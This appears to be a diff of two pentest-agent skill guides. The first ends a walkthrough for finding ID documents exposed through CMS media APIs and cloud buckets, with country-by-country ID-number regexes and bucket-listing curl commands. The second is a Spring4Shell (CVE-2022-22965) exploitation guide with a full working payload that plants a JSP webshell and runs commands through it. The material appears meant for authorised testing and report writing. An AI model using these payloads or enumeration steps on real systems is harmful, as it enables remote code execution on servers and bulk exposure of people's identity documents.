print(f"Estimated unique individuals affected: {len(unique_id_patterns)} (minimum)")
|
|
433
|
+
print(f"\nNote: If multiple documents per person exist, actual individuals = {files_with_ids}")
|
|
434
|
+
|
|
435
|
+
# Check total across all pages (from X-WP-Total header)
|
|
436
|
+
# This was saved during enumeration
|
|
437
|
+
print(f"\nImpact assessment:")
|
|
438
|
+
if len(items) > 0:
|
|
439
|
+
print(f" - At minimum {len(items)} sensitive documents publicly accessible")
|
|
440
|
+
print(f" - Enumerable via unauthenticated GET to /wp-json/wp/v2/media")
|
|
441
|
+
print(f" - All documents downloadable without authentication")
|
|
442
|
+
if unique_id_patterns:
|
|
443
|
+
print(f" - At least {len(unique_id_patterns)} individuals' national ID numbers exposed")
|
|
444
|
+
```
|
|
445
|
+
|
|
446
|
+
```bash
|
|
447
|
+
python3 tools/quantify_pii_scope.py
|
|
448
|
+
```
|
|
449
|
+
|
|
450
|
+
---
|
|
451
|
+
|
|
452
|
+
## STEP 5 — Country-Specific PII Pattern Reference
|
|
453
|
+
|
|
454
|
+
Adjust detection patterns based on target's country:
|
|
455
|
+
|
|
456
|
+
```python
|
|
457
|
+
# tools/pii_patterns_by_country.py
|
|
458
|
+
|
|
459
|
+
COUNTRY_PII_PATTERNS = {
|
|
460
|
+
"Indonesia": {
|
|
461
|
+
"NIK": r'\b\d{16}\b', # 16-digit National ID
|
|
462
|
+
"KK": r'\b\d{16}\b', # Family card number
|
|
463
|
+
"passport": r'\bA[0-9]{7}\b', # Indonesian passport
|
|
464
|
+
"phone": r'\+62[0-9]{9,11}|0[0-9]{9,11}',
|
|
465
|
+
"keywords": ["NIK", "KTP", "Kartu Tanda Penduduk", "Nama Lengkap (Sesuai KTP)",
|
|
466
|
+
"NPWP", "SIM", "Akta Lahir"],
|
|
467
|
+
"regulation": "UU PDP (Personal Data Protection Law) 2022",
|
|
468
|
+
"base_penalty": "IDR 5 billion per violation"
|
|
469
|
+
},
|
|
470
|
+
"Singapore": {
|
|
471
|
+
"NRIC": r'\b[STFGM]\d{7}[A-Z]\b', # Singaporean IC
|
|
472
|
+
"FIN": r'\b[FG]\d{7}[A-Z]\b',
|
|
473
|
+
"passport": r'\bE[0-9]{7}[A-Z]\b',
|
|
474
|
+
"keywords": ["NRIC", "FIN", "Identity Card No", "IC Number"],
|
|
475
|
+
"regulation": "PDPA 2012 (Personal Data Protection Act)",
|
|
476
|
+
"base_penalty": "SGD 1 million per violation"
|
|
477
|
+
},
|
|
478
|
+
"Malaysia": {
|
|
479
|
+
"MyKAD": r'\b\d{6}-\d{2}-\d{4}\b', # XXXXXX-YY-ZZZZ
|
|
480
|
+
"passport": r'\bA[0-9]{8}\b',
|
|
481
|
+
"keywords": ["No. Kad Pengenalan", "MyKAD", "IC Number"],
|
|
482
|
+
"regulation": "PDPA 2010 (Personal Data Protection Act)",
|
|
483
|
+
"base_penalty": "MYR 500,000"
|
|
484
|
+
},
|
|
485
|
+
"Philippines": {
|
|
486
|
+
"PhilSys": r'\b\d{4}-\d{4}-\d{4}\b', # Philippine System Number
|
|
487
|
+
"SSS": r'\b\d{2}-\d{7}-\d{1}\b',
|
|
488
|
+
"keywords": ["PSN", "PhilSys ID", "SSS Number", "TIN"],
|
|
489
|
+
"regulation": "Data Privacy Act 2012 (RA 10173)",
|
|
490
|
+
"base_penalty": "PHP 5 million per violation"
|
|
491
|
+
},
|
|
492
|
+
"India": {
|
|
493
|
+
"Aadhaar": r'\b[2-9]{1}[0-9]{11}\b', # 12-digit Aadhaar (starts 2-9)
|
|
494
|
+
"PAN": r'\b[A-Z]{5}[0-9]{4}[A-Z]{1}\b', # Permanent Account Number
|
|
495
|
+
"passport": r'\b[A-Z][1-9][0-9]{7}\b',
|
|
496
|
+
"keywords": ["Aadhaar", "PAN", "Passport No", "Voter ID"],
|
|
497
|
+
"regulation": "DPDP Act 2023 / IT Act",
|
|
498
|
+
"base_penalty": "INR 250 crore per violation"
|
|
499
|
+
},
|
|
500
|
+
"EU/EEA": {
|
|
501
|
+
"passport": r'\b[A-Z]{2}[0-9]{7}\b',
|
|
502
|
+
"keywords": ["Personalausweis", "Passport", "ID Card", "DNI", "CIF", "NIF"],
|
|
503
|
+
"regulation": "GDPR (Regulation 2016/679)",
|
|
504
|
+
"base_penalty": "4% of annual global revenue"
|
|
505
|
+
},
|
|
506
|
+
"USA": {
|
|
507
|
+
"SSN": r'\b\d{3}-\d{2}-\d{4}\b',
|
|
508
|
+
"DL": r'\b[A-Z]{1,2}\d{6,8}\b', # Driver's license varies by state
|
|
509
|
+
"keywords": ["Social Security", "SSN", "Driver License", "EIN"],
|
|
510
|
+
"regulation": "CCPA / HIPAA / FCRA (varies by state/sector)",
|
|
511
|
+
"base_penalty": "CCPA: $7,500 per intentional violation"
|
|
512
|
+
}
|
|
513
|
+
}
|
|
514
|
+
|
|
515
|
+
def get_pii_context(target_country, pii_text):
|
|
516
|
+
"""
|
|
517
|
+
Given country and confirmed PII, generate regulatory impact context
|
|
518
|
+
for the vulnerability report.
|
|
519
|
+
"""
|
|
520
|
+
ctx = COUNTRY_PII_PATTERNS.get(target_country, COUNTRY_PII_PATTERNS["EU/EEA"])
|
|
521
|
+
return {
|
|
522
|
+
"regulation": ctx["regulation"],
|
|
523
|
+
"penalty": ctx["base_penalty"],
|
|
524
|
+
"keywords_to_look_for": ctx["keywords"]
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
# Usage:
|
|
528
|
+
country = "Indonesia" # Determine from target's domain, language, or content
|
|
529
|
+
impact = get_pii_context(country, "")
|
|
530
|
+
print(f"Applicable regulation: {impact['regulation']}")
|
|
531
|
+
print(f"Max penalty: {impact['penalty']}")
|
|
532
|
+
print(f"PII fields to confirm: {impact['keywords_to_look_for']}")
|
|
533
|
+
```
|
|
534
|
+
|
|
535
|
+
---
|
|
536
|
+
|
|
537
|
+
## Full Attack Surface Coverage
|
|
538
|
+
|
|
539
|
+
### CMS Targets
|
|
540
|
+
| CMS | Enumeration Endpoint | Sensitive Filter |
|
|
541
|
+
|-----|---------------------|------------------|
|
|
542
|
+
| WordPress | `/wp-json/wp/v2/media?mime_type=application/pdf` | mime_type filter |
|
|
543
|
+
| Drupal | `/jsonapi/file/file?filter[mime]=application/pdf` | JSONAPI filter |
|
|
544
|
+
| Strapi | `/api/upload/files?filters[mime][$eq]=application/pdf` | Filters API |
|
|
545
|
+
| Ghost | `/ghost/api/v3/content/files/` | (requires key) |
|
|
546
|
+
| Contentful | `/spaces/{id}/assets?mimetype_group=pdfdocument` | Content delivery API |
|
|
547
|
+
|
|
548
|
+
### Cloud Storage Targets
|
|
549
|
+
```bash
|
|
550
|
+
# S3 public bucket with listing
|
|
551
|
+
curl -s "https://BUCKET.s3.amazonaws.com/?list-type=2&prefix=consent&max-keys=100"
|
|
552
|
+
|
|
553
|
+
# GCS with public listing
|
|
554
|
+
curl -s "https://storage.googleapis.com/storage/v1/b/BUCKET/o?prefix=consent&maxResults=100&key=AIza..."
|
|
555
|
+
|
|
556
|
+
# Azure Blob with $web container
|
|
557
|
+
curl -s "https://ACCOUNT.blob.core.windows.net/documents?restype=container&comp=list&prefix=consent"
|
|
558
|
+
```
|
|
559
|
+
|
|
560
|
+
---
|
|
561
|
+
|
|
562
|
+
## Validation Requirements for Report
|
|
563
|
+
|
|
564
|
+
1. **Enumerate:** Show the GET request to the media endpoint with response showing multiple PDF URLs
|
|
565
|
+
2. **Filename analysis:** Show that filenames contain patterns consistent with PII (long digit strings, person names)
|
|
566
|
+
3. **Content confirmation:** Download ONE sample document, extract text, show masked PII fields
|
|
567
|
+
4. **Scope quantification:** Show total count of affected documents (`X-WP-Total` header)
|
|
568
|
+
5. **Mask all real PII in report** — show only first/last 4 digits of national IDs, first 2 chars of names
|
|
569
|
+
6. **Regulatory context:** Name the applicable privacy law and note the violation
|
|
570
|
+
|
|
571
|
+
---
|
|
572
|
+
|
|
573
|
+
## False Positives
|
|
574
|
+
|
|
575
|
+
- **Public marketing PDFs with no PII** — filename analysis says "sensitive" but content is a brochure
|
|
576
|
+
- **Sample/template forms** — forms with placeholder names like "Full Name Here" (not real data)
|
|
577
|
+
- **Forms where PII is redacted** — confirm full PII is actually present, not just field labels
|
|
578
|
+
- **CDN-cached files that no longer exist at origin** — verify the file is still downloadable
|
|
579
|
+
|
|
580
|
+
---
|
|
581
|
+
|
|
582
|
+
## Pro Tips
|
|
583
|
+
|
|
584
|
+
1. **`X-WP-Total` header** reveals total document count before downloading anything — use this to quantify scope in the report without enumerating all files
|
|
585
|
+
2. **Filename patterns are probabilistic, not definitive** — always confirm 1-3 samples before claiming PII exposure
|
|
586
|
+
3. **pdftotext is the most reliable extraction tool** — install it: `apt-get install poppler-utils`. Alternative: `strings <file>.pdf | grep -E 'NIK|Nama|KTP'`
|
|
587
|
+
4. **Check page 1-3 for max impact** — most recent uploads (page 1) are often the most recently submitted and contain the freshest PII
|
|
588
|
+
5. **Regulatory context amplifies severity** — A finding is "MEDIUM information disclosure" without PII context but becomes "HIGH data protection violation" with confirmed PII + applicable law
|
|
589
|
+
6. **Never download more than necessary** — Download 3-5 samples maximum. The point is confirmation, not bulk collection. Bulk collection could be illegal.
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Spring4Shell (CVE-2022-22965) — Exploitation Guide
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Spring4Shell is a Spring Framework RCE that can allow writing a JSP webshell on
|
|
7
|
+
Apache Tomcat when specific conditions are met (WAR deployment, Java 9+, etc.).
|
|
8
|
+
|
|
9
|
+
## Prerequisites
|
|
10
|
+
```bash
|
|
11
|
+
apt-get install -y jq
|
|
12
|
+
# Optional: nuclei for detection
|
|
13
|
+
nuclei -version
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Phase 1: Fingerprinting & Preconditions
|
|
17
|
+
```bash
|
|
18
|
+
# Check response headers for Spring/Tomcat hints
|
|
19
|
+
curl -s -I https://TARGET/ | tee /workspace/output/TARGET_spring_headers.txt
|
|
20
|
+
|
|
21
|
+
# Check for exposed actuator (if accessible)
|
|
22
|
+
curl -s https://TARGET/actuator | tee /workspace/output/TARGET_actuator.txt
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## Phase 2: Automated Detection
|
|
26
|
+
```bash
|
|
27
|
+
nuclei -t cves/2022/CVE-2022-22965.yaml -u https://TARGET \
|
|
28
|
+
-o /workspace/output/TARGET_spring4shell_nuclei.txt
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Phase 3: Manual Exploitation (JSP Webshell)
|
|
32
|
+
```bash
|
|
33
|
+
TARGET_URL="https://TARGET/APP_PATH"
|
|
34
|
+
|
|
35
|
+
PAYLOAD='<% if ("cmd".equals(request.getParameter("cmd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>'
|
|
36
|
+
|
|
37
|
+
curl -s -X POST "$TARGET_URL" \
|
|
38
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
39
|
+
--data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.pattern=$PAYLOAD" \
|
|
40
|
+
--data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" \
|
|
41
|
+
--data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" \
|
|
42
|
+
--data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" \
|
|
43
|
+
--data-urlencode "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" \
|
|
44
|
+
| tee /workspace/output/TARGET_spring4shell_post.txt
|
|
45
|
+
|
|
46
|
+
# Trigger the shell
|
|
47
|
+
curl -s "https://TARGET/shell.jsp?cmd=id" \
|
|
48
|
+
| tee /workspace/output/TARGET_spring4shell_rce.txt
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Phase 4: Cleanup
|
|
52
|
+
```bash
|
|
53
|
+
# Remove the JSP shell if created
|
|
54
|
+
curl -s "https://TARGET/shell.jsp?cmd=rm%20-f%20webapps/ROOT/shell.jsp"
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## Report Template
|
|
58
|
+
|
|
59
|
+
```
|
|
60
|
+
Target: TARGET
|
|
61
|
+
Vulnerability: Spring4Shell (CVE-2022-22965)
|
|
62
|
+
Assessment Date: <DATE>
|
|
63
|
+
|
|
64
|
+
## Evidence
|
|
65
|
+
- Detection output: /workspace/output/TARGET_spring4shell_nuclei.txt
|
|
66
|
+
- Exploit response: /workspace/output/TARGET_spring4shell_post.txt
|
|
67
|
+
- Command output: /workspace/output/TARGET_spring4shell_rce.txt
|
|
68
|
+
|
|
69
|
+
## Impact
|
|
70
|
+
- Remote code execution
|
|
71
|
+
- Arbitrary file write to webroot
|
|
72
|
+
|
|
73
|
+
## Recommendations
|
|
74
|
+
1. Upgrade Spring Framework to fixed versions
|
|
75
|
+
2. Use Tomcat + JVM configurations that block classloader binding
|
|
76
|
+
3. Enforce strict input binding (disallow class.* parameters)
|
|
77
|
+
4. Limit write permissions on webroot
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## Output Files
|
|
81
|
+
- `/workspace/output/TARGET_spring_headers.txt` — header fingerprinting
|
|
82
|
+
- `/workspace/output/TARGET_actuator.txt` — actuator response
|
|
83
|
+
- `/workspace/output/TARGET_spring4shell_nuclei.txt` — nuclei detection
|
|
84
|
+
- `/workspace/output/TARGET_spring4shell_rce.txt` — command output
|
|
85
|
+
|
|
86
|
+
indicators: spring4shell, cve-2022-22965, spring rce, spring mvc rce, tomcat jsp, classloader
|